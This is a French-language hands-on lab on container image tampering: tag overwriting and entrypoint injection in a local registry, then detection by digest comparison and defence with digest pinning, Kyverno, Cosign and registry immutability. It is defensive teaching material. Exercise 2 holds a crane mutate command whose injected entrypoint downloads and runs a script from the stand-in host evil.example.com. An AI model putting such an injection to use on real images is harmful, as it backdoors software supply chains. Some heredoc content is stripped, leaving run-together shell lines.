Lab : Falsification d’Artefacts et Détection — Remplacement d’Images Container dans un Registre

Aperçu

Les tags d’images container sont des pointeurs mutables. Contrairement à un hash de commit Git, le tag v1.0.0 n’est pas lié cryptographiquement à une image spécifique — c’est simplement une étiquette qu’un registre associe à un digest de manifeste. Toute personne disposant d’un accès push à un dépôt peut écraser cette association à tout moment, remplaçant silencieusement l’image derrière un tag de confiance.

Ce n’est pas un risque théorique. Les attaques de chaîne d’approvisionnement exploitent régulièrement la mutabilité des tags pour injecter du code malveillant dans les environnements de production. Si vos manifestes de déploiement référencent myapp:v1.0.0 par tag, un attaquant qui compromet les identifiants du registre peut remplacer l’image, et chaque pull ultérieur récupérera la charge utile de l’attaquant au lieu de votre build légitime.

Dans ce lab, vous allez :

  1. Configurer un registre OCI local et pousser une image container légitime.
  2. Effectuer une attaque par mutation de tag — pousser une image complètement différente sous le même tag.
  3. Effectuer une attaque par injection de couche — modifier subtilement une image existante sans la reconstruire.
  4. Détecter la falsification avec la comparaison de digests.
  5. Se défendre contre la falsification avec le pinning de digest, les signatures Cosign, les contrôleurs d’admission et les paramètres d’immutabilité du registre.

À la fin, vous aurez une expérience pratique du cycle complet attaque-et-défense pour l’intégrité des images container.

Prérequis

Installez les outils suivants avant de commencer. Toutes les commandes de ce lab sont testées sur Linux et macOS.

Outil Objectif Installation
Docker Construire et exécuter des containers docs.docker.com/get-docker
crane Inspecter et modifier des images OCI sans Docker go install github.com/google/go-containerregistry/cmd/crane@latest
Cosign Signer et vérifier des images container docs.sigstore.dev/cosign
kubectl + kind Cluster Kubernetes local (pour les exercices de contrôle d’admission) kind.sigs.k8s.io
jq Traitement JSON apt install jq / brew install jq

Vérifiez votre installation :

docker --version
crane version
cosign version
kubectl version --client
kind version
jq --version

Configuration de l’Environnement

Démarrer un Registre Local

Nous utilisons l’image officielle du registre Docker. Cela nous donne un registre privé, non authentifié — parfait pour démontrer à quel point la mutation de tag est facile lorsqu’un accès push existe.

docker run -d -p 5000:5000 --name registry registry:2

Confirmez que le registre fonctionne :

curl -s http://localhost:5000/v2/_catalog
# Attendu : {"repositories":[]}

Construire et Pousser une Image Légitime

Créez une application minimale basée sur Nginx qui sert une page simple :

mkdir -p /tmp/lab-legitimate && cd /tmp/lab-legitimate

cat > index.html <<'EOF'


Legitimate App

Hello from the LEGITIMATE image

EOF cat > Dockerfile <<'EOF' FROM nginx:1.27-alpine COPY index.html /usr/share/nginx/html/index.html EOF docker build -t localhost:5000/myapp:v1.0.0 . docker push localhost:5000/myapp:v1.0.0

Enregistrer le Digest Original

Ce digest est votre source de vérité. Sauvegardez-le — vous l'utiliserez tout au long du lab pour détecter et prévenir la falsification.

ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest: $ORIGINAL_DIGEST"
# Exemple de sortie : sha256:a1b2c3d4e5f6...

Sauvegardez également le manifeste complet pour une comparaison ultérieure :

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/original-manifest.json

Exercice 1 : L'Attaque — Mutation de Tag

La mutation de tag est la forme la plus simple de falsification d'image container. L'attaquant construit une image complètement différente et la pousse sous le même tag, écrasant l'image légitime dans le registre.

Étape 1 : Construire une Image Malveillante

Créez une image qui semble similaire mais sert un contenu différent — ou dans une attaque réelle, exécute un reverse shell, exfiltre des secrets ou mine de la cryptomonnaie :

mkdir -p /tmp/lab-malicious && cd /tmp/lab-malicious

cat > index.html <<'EOF'


Legitimate App

Hello from the LEGITIMATE image

EOF cat > Dockerfile <<'EOF' FROM nginx:1.27-alpine COPY index.html /usr/share/nginx/html/index.html # In a real attack, additional malicious layers would be added here EOF docker build -t localhost:5000/myapp:v1.0.0 . docker push localhost:5000/myapp:v1.0.0

Notez le détail critique : nous avons poussé vers exactement le même taglocalhost:5000/myapp:v1.0.0.

Étape 2 : Vérifier que le Tag a été Écrasé

TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest:  $ORIGINAL_DIGEST"
echo "Current digest:   $TAMPERED_DIGEST"

if [ "$ORIGINAL_DIGEST" != "$TAMPERED_DIGEST" ]; then
  echo "ATTENTION : Le tag v1.0.0 a été MUTÉ — l'image a changé !"
fi

Sortie :

Original digest:  sha256:a1b2c3d4...
Current digest:   sha256:x9y8z7w6...
ATTENTION : Le tag v1.0.0 a été MUTÉ — l'image a changé !

Toute personne effectuant un pull de myapp:v1.0.0 reçoit maintenant l'image de l'attaquant. Il n'y a aucun avertissement, aucune notification et aucune trace d'audit dans un registre basique. Le tag pointe simplement vers un nouveau manifeste.

Pourquoi C'est Dangereux

Cette attaque est triviale à exécuter pour quiconque dispose d'identifiants push sur le registre — un compte de service CI compromis, un token divulgué dans un dépôt public ou un membre d'équipe mécontent. Le tag de l'image semble identique, le nom du dépôt semble identique, et la plupart des pipelines de déploiement effectuent aveuglément un pull de ce vers quoi le tag pointe.

Exercice 2 : L'Attaque — Injection de Couche

Un remplacement complet d'image est efficace mais grossier. Un attaquant plus sophistiqué peut modifier une image existante en place, ajoutant ou altérant des couches sans reconstruire à partir d'un Dockerfile. Cela rend la falsification plus difficile à détecter lors d'une inspection superficielle.

Étape 1 : Réinitialiser à l'Image Légitime

D'abord, reconstruisez et poussez l'image légitime pour avoir une base propre :

cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Reset to original digest: $ORIGINAL_DIGEST"

Étape 2 : Modifier l'Image avec crane

La commande crane mutate modifie les métadonnées et la configuration de l'image sans nécessiter une reconstruction complète. Un attaquant peut changer l'entrypoint, ajouter des variables d'environnement ou injecter des commandes :

# Changer l'entrypoint pour exécuter une commande malveillante avant le processus original
crane mutate localhost:5000/myapp:v1.0.0 \
  --entrypoint "/bin/sh,-c,wget -q https://evil.example.com/backdoor.sh -O /tmp/b.sh && sh /tmp/b.sh; nginx -g 'daemon off;'" \
  --tag localhost:5000/myapp:v1.0.0

Cette seule commande écrase le tag avec une image modifiée qui exécutera un téléchargement malveillant avant de démarrer Nginx — le tout sans écrire de Dockerfile ni construire à partir de zéro.

Étape 3 : Comparer les Manifestes

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/tampered-manifest.json
diff /tmp/original-manifest.json /tmp/tampered-manifest.json

Le diff montrera que le digest de configuration a changé (parce que la configuration de l'image — y compris l'entrypoint — est différente), mais les couches de base peuvent rester identiques. Pour un opérateur inspectant superficiellement l'image, elle semble presque identique :

# Inspecter la configuration de l'image falsifiée
crane config localhost:5000/myapp:v1.0.0 | jq '.config.Entrypoint'
# Affiche l'entrypoint malveillant injecté

# Comparer avec l'original
docker inspect localhost:5000/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'
# Affiche l'entrypoint original, propre

Cette technique est particulièrement dangereuse dans les environnements où les équipes ne vérifient que le tag de l'image ou le manifeste de niveau supérieur sans inspecter la configuration complète.

Exercice 3 : Détection — Comparaison de Digests

Le mécanisme de détection le plus fondamental est la comparaison de digests. Puisque chaque image unique possède un digest SHA-256 unique, tout changement — aussi minime soit-il — produit un hash complètement différent.

Étape 1 : Script de Vérification Manuelle

Créez un script qui vérifie si un tag d'image pointe toujours vers le digest attendu :

cat > /tmp/verify-digest.sh <<'SCRIPT'
#!/bin/bash
set -euo pipefail

IMAGE="$1"
EXPECTED_DIGEST="$2"

CURRENT_DIGEST=$(crane digest "$IMAGE" 2>/dev/null)

if [ "$CURRENT_DIGEST" = "$EXPECTED_DIGEST" ]; then
  echo "PASS: $IMAGE matches expected digest"
  echo "  Digest: $CURRENT_DIGEST"
  exit 0
else
  echo "FAIL: $IMAGE has been TAMPERED WITH"
  echo "  Expected: $EXPECTED_DIGEST"
  echo "  Actual:   $CURRENT_DIGEST"
  exit 1
fi
SCRIPT
chmod +x /tmp/verify-digest.sh

Exécutez-le :

# Ceci va ÉCHOUER car l'image a été falsifiée dans l'Exercice 2
/tmp/verify-digest.sh localhost:5000/myapp:v1.0.0 "$ORIGINAL_DIGEST"
# Sortie : FAIL: localhost:5000/myapp:v1.0.0 has been TAMPERED WITH

Étape 2 : Intégration dans le Pipeline CI — GitHub Actions

Intégrez la vérification de digest dans votre pipeline CI/CD afin que les images falsifiées soient détectées avant le déploiement :

name: Verify Image Integrity

on:
  workflow_dispatch:
  push:
    branches: [main]

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}/myapp

jobs:
  verify-image:
    runs-on: ubuntu-latest
    steps:
      - name: Install crane
        uses: imjasonh/setup-crane@v0.4

      - name: Log in to registry
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Verify image digest
        env:
          EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}
        run: |
          IMAGE="${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:v1.0.0"
          CURRENT_DIGEST=$(crane digest "$IMAGE")

          echo "Expected: $EXPECTED_DIGEST"
          echo "Actual:   $CURRENT_DIGEST"

          if [ "$CURRENT_DIGEST" != "$EXPECTED_DIGEST" ]; then
            echo "::error::Image digest mismatch — possible tampering detected!"
            exit 1
          fi

          echo "Image integrity verified."

      - name: Verify all deployment images
        run: |
          while IFS='=' read -r image digest; do
            CURRENT=$(crane digest "$image")
            if [ "$CURRENT" != "$digest" ]; then
              echo "::error::TAMPERED: $image (expected $digest, got $CURRENT)"
              FAILED=1
            else
              echo "OK: $image"
            fi
          done < ./deploy/image-digests.txt

          [ -z "${FAILED:-}" ] || exit 1

Stockez vos digests attendus dans un fichier versionné (deploy/image-digests.txt) afin que toute modification des digests attendus passe par une revue de code :

# deploy/image-digests.txt
ghcr.io/myorg/myapp:v1.0.0=sha256:a1b2c3d4e5f6...
ghcr.io/myorg/myapp:v2.0.0=sha256:f6e5d4c3b2a1...

Exercice 4 : Défense — Pinning de Digest

Le pinning de digest est la défense la plus simple et la plus efficace contre la mutation de tag. Au lieu de référencer une image par son tag mutable, vous la référencez par son digest immutable.

Étape 1 : Épingler l'Image dans un Manifeste Kubernetes

Remplacez les références basées sur les tags par des références basées sur les digests :

# VULNÉRABLE : utilise un tag mutable
# image: localhost:5000/myapp:v1.0.0

# SÉCURISÉ : épinglé à un digest immutable
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 1
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
      - name: myapp
        image: localhost:5000/myapp@sha256:a1b2c3d4e5f6...
        ports:
        - containerPort: 80

Avec le pinning de digest, même si un attaquant modifie le tag v1.0.0, votre déploiement récupère toujours l'image exacte identifiée par le digest épinglé. Le registre résout les images par digest indépendamment des tags.

Étape 2 : Tester

# Réinitialiser à l'image propre
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Falsifier le tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Pull par tag — obtient l'image FALSIFIÉE
docker pull localhost:5000/myapp:v1.0.0

# Pull par digest — obtient l'image ORIGINALE
docker pull localhost:5000/myapp@$ORIGINAL_DIGEST

# Vérifier
docker run --rm localhost:5000/myapp@$ORIGINAL_DIGEST cat /usr/share/nginx/html/index.html
# Sortie : Hello from the LEGITIMATE image

Étape 3 : Imposer le Pinning de Digest avec Kyverno

Pour s'assurer qu'aucun membre de l'équipe ne déploie accidentellement une référence basée sur un tag, utilisez une politique Kyverno qui rejette toute spécification de pod n'utilisant pas de digest :

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-image-digest
  annotations:
    policies.kyverno.io/title: Require Image Digest
    policies.kyverno.io/description: >-
      Requires all container images to be referenced by digest
      rather than by tag, preventing tag-mutation attacks.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
  - name: check-image-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "Images must be referenced by digest (image@sha256:...), not by tag."
      pattern:
        spec:
          containers:
          - image: "*@sha256:*"
  - name: check-init-container-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    preconditions:
      all:
      - key: "{{ request.object.spec.initContainers[] || `[]` | length(@) }}"
        operator: GreaterThanOrEquals
        value: 1
    validate:
      message: "Init container images must be referenced by digest."
      pattern:
        spec:
          initContainers:
          - image: "*@sha256:*"

Appliquez la politique et testez :

kubectl apply -f require-image-digest.yaml

# Ceci sera REJETÉ (utilise un tag)
kubectl run test --image=localhost:5000/myapp:v1.0.0
# Erreur : Images must be referenced by digest (image@sha256:...), not by tag.

# Ceci sera ADMIS (utilise un digest)
kubectl run test --image=localhost:5000/myapp@sha256:a1b2c3d4e5f6...

Exercice 5 : Défense — Vérification de Signature Cosign

Le pinning de digest vous indique quelle image est de confiance, mais ne prouve pas qui l'a construite. Les signatures Cosign lient une identité cryptographique à un digest d'image, vous permettant de vérifier la provenance.

Étape 1 : Générer une Paire de Clés de Signature

cosign generate-key-pair
# Crée cosign.key (privée) et cosign.pub (publique)

Étape 2 : Signer l'Image Légitime

Signez toujours par digest, jamais par tag :

# Réinitialiser à l'image propre
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Signer par digest
cosign sign --key cosign.key --tlog-upload=false \
  localhost:5000/myapp@${ORIGINAL_DIGEST}

# Vérifier la signature
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}

Étape 3 : Falsifier le Tag et Vérifier

# Pousser l'image malveillante sous le même tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Essayer de vérifier le tag — ceci va ÉCHOUER
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp:v1.0.0
# Erreur : no matching signatures

# Vérifier le digest original — ceci RÉUSSIT toujours
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}
# Sortie : Verified OK

Cela démontre la propriété clé : les signatures Cosign sont liées aux digests, pas aux tags. Lorsqu'un attaquant modifie un tag, la signature ne suit pas — elle reste attachée au digest original. La vérification contre le tag échoue car le tag pointe maintenant vers une image non signée.

Pourquoi C'est Important

Les signatures fournissent une chaîne de confiance du constructeur au déployeur. Même si un attaquant obtient un accès push à votre registre, il ne peut pas forger une signature valide sans votre clé de signature privée. Combinées avec le pinning de digest, les signatures vous offrent à la fois l'intégrité (l'image n'a pas été modifiée) et l'authenticité (l'image a été construite par une partie de confiance).

Exercice 6 : Défense — Application par Contrôleur d'Admission

Le pinning de digest et les signatures ne sont efficaces que s'ils sont appliqués de manière cohérente. Un contrôleur d'admission automatise cette application au niveau de l'API Kubernetes, rejetant toute charge de travail qui référence une image non signée ou non vérifiée.

Étape 1 : Créer un Cluster Kind

kind create cluster --name sigstore-lab
docker network connect kind registry
kubectl cluster-info --context kind-sigstore-lab

Étape 2 : Installer le Policy Controller Sigstore

helm repo add sigstore https://sigstore.github.io/helm-charts
helm repo update

helm install policy-controller sigstore/policy-controller \
  --namespace cosign-system \
  --create-namespace \
  --set webhook.configMapName=policy-controller-config

Attendez que le contrôleur soit prêt :

kubectl -n cosign-system rollout status deploy/policy-controller-webhook

Étape 3 : Créer une Politique de Vérification

kubectl create secret generic cosign-pub-key \
  --from-file=cosign.pub=cosign.pub \
  -n cosign-system

kubectl label namespace default \
  policy.sigstore.dev/include=true

Créez une ClusterImagePolicy qui exige une signature Cosign valide pour toutes les images de votre registre :

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-signature
spec:
  images:
  - glob: "localhost:5000/**"
  authorities:
  - key:
      secretRef:
        name: cosign-pub-key
        namespace: cosign-system
      hashAlgorithm: sha256
kubectl apply -f cluster-image-policy.yaml

Étape 4 : Tester l'Application

# Déployer avec l'image SIGNÉE (par digest) — ADMIS
kubectl run signed-app \
  --image=localhost:5000/myapp@${ORIGINAL_DIGEST}
# pod/signed-app created

# Déployer avec l'image FALSIFIÉE (non signée) — REJETÉ
TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
kubectl run tampered-app \
  --image=localhost:5000/myapp@${TAMPERED_DIGEST}
# Error from server (BadRequest): admission webhook "policy.sigstore.dev" denied the request:
# validation failed: failed policy: require-signature: 
# spec.containers[0].image signature verification failed

Le contrôleur d'admission bloque automatiquement toute image qui ne possède pas de signature valide provenant de votre clé de confiance. Cela boucle la boucle — même si un attaquant pousse une image falsifiée, elle ne peut pas s'exécuter dans votre cluster.

Exercice 7 : Immutabilité du Registre

Les attaques des Exercices 1 et 2 ne sont possibles que parce que le registre autorise l'écrasement des tags. De nombreux registres managés prennent en charge l'immutabilité des tags, qui empêche tout push vers un tag existant.

AWS ECR : Activer l'Immutabilité des Tags

aws ecr put-image-tag-mutability \
  --repository-name myapp \
  --image-tag-mutability IMMUTABLE

aws ecr describe-repositories --repository-names myapp \
  | jq '.repositories[0].imageTagMutability'
# Sortie : "IMMUTABLE"

Avec l'immutabilité activée, toute tentative de push vers un tag existant est rejetée :

docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:v1.0.0
# Erreur : tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository
# and cannot be overwritten because the repository is immutable.

Google Artifact Registry : Activer l'Immutabilité des Tags

gcloud artifacts repositories update myapp-repo \
  --location=us-central1 \
  --immutable-tags

Azure ACR : Activer le Verrouillage des Tags

az acr repository update \
  --name myregistry \
  --image myapp:v1.0.0 \
  --write-enabled false

Docker Hub et GHCR

Docker Hub et GitHub Container Registry ne prennent actuellement pas en charge l'immutabilité des tags au niveau du registre. Pour ces registres, appuyez-vous sur les signatures Cosign et les contrôleurs d'admission comme défense principale.

Compromis

L'immutabilité des tags empêche l'écrasement mais empêche également les scénarios légitimes de re-tagging (comme la promotion d'une image de staging à production en re-taguant). Planifiez votre stratégie de tagging en conséquence — utilisez des tags uniques (tels que des tags basés sur le SHA Git) et des workflows de promotion qui créent de nouveaux tags plutôt que d'écraser les existants.

Nettoyage

Supprimez toutes les ressources créées pendant ce lab :

# Arrêter et supprimer le registre local
docker stop registry && docker rm registry

# Supprimer le cluster kind (si créé)
kind delete cluster --name sigstore-lab

# Nettoyer les fichiers temporaires
rm -rf /tmp/lab-legitimate /tmp/lab-malicious
rm -f /tmp/original-manifest.json /tmp/tampered-manifest.json
rm -f /tmp/verify-digest.sh
rm -f cosign.key cosign.pub

# Supprimer les images en cache local
docker rmi localhost:5000/myapp:v1.0.0 2>/dev/null || true

Points Clés à Retenir

  • Les tags d'images container sont mutables. Toute personne disposant d'un accès push peut silencieusement remplacer l'image derrière un tag. Ne faites jamais confiance à un tag comme garantie du contenu de l'image.
  • Le pinning de digest est votre première ligne de défense. Référencer les images par @sha256:... au lieu de :tag garantit que vous récupérez toujours l'image exacte que vous souhaitez, indépendamment des mutations de tag.
  • Les signatures Cosign prouvent la provenance. Les signatures lient une identité cryptographique à un digest spécifique, vérifiant à la fois l'intégrité (non falsifié) et l'authenticité (construit par une partie de confiance).
  • Les contrôleurs d'admission appliquent la politique au moment du déploiement. Des outils comme Kyverno et le policy-controller Sigstore rejettent les images non signées ou non vérifiées avant qu'elles ne puissent s'exécuter dans votre cluster.
  • L'immutabilité du registre empêche l'attaque à la source. Activer les tags immutables sur ECR, GCR ou ACR empêche totalement l'écrasement des tags, mais nécessite une stratégie de tagging qui évite la réutilisation.
  • La défense en profondeur est essentielle. Aucun mécanisme unique n'est suffisant. Combinez le pinning de digest, la signature, le contrôle d'admission et l'immutabilité du registre pour une protection robuste contre les attaques de chaîne d'approvisionnement sur les images container.

Prochaines Étapes

Continuez à développer vos compétences en sécurité des containers avec ces guides connexes :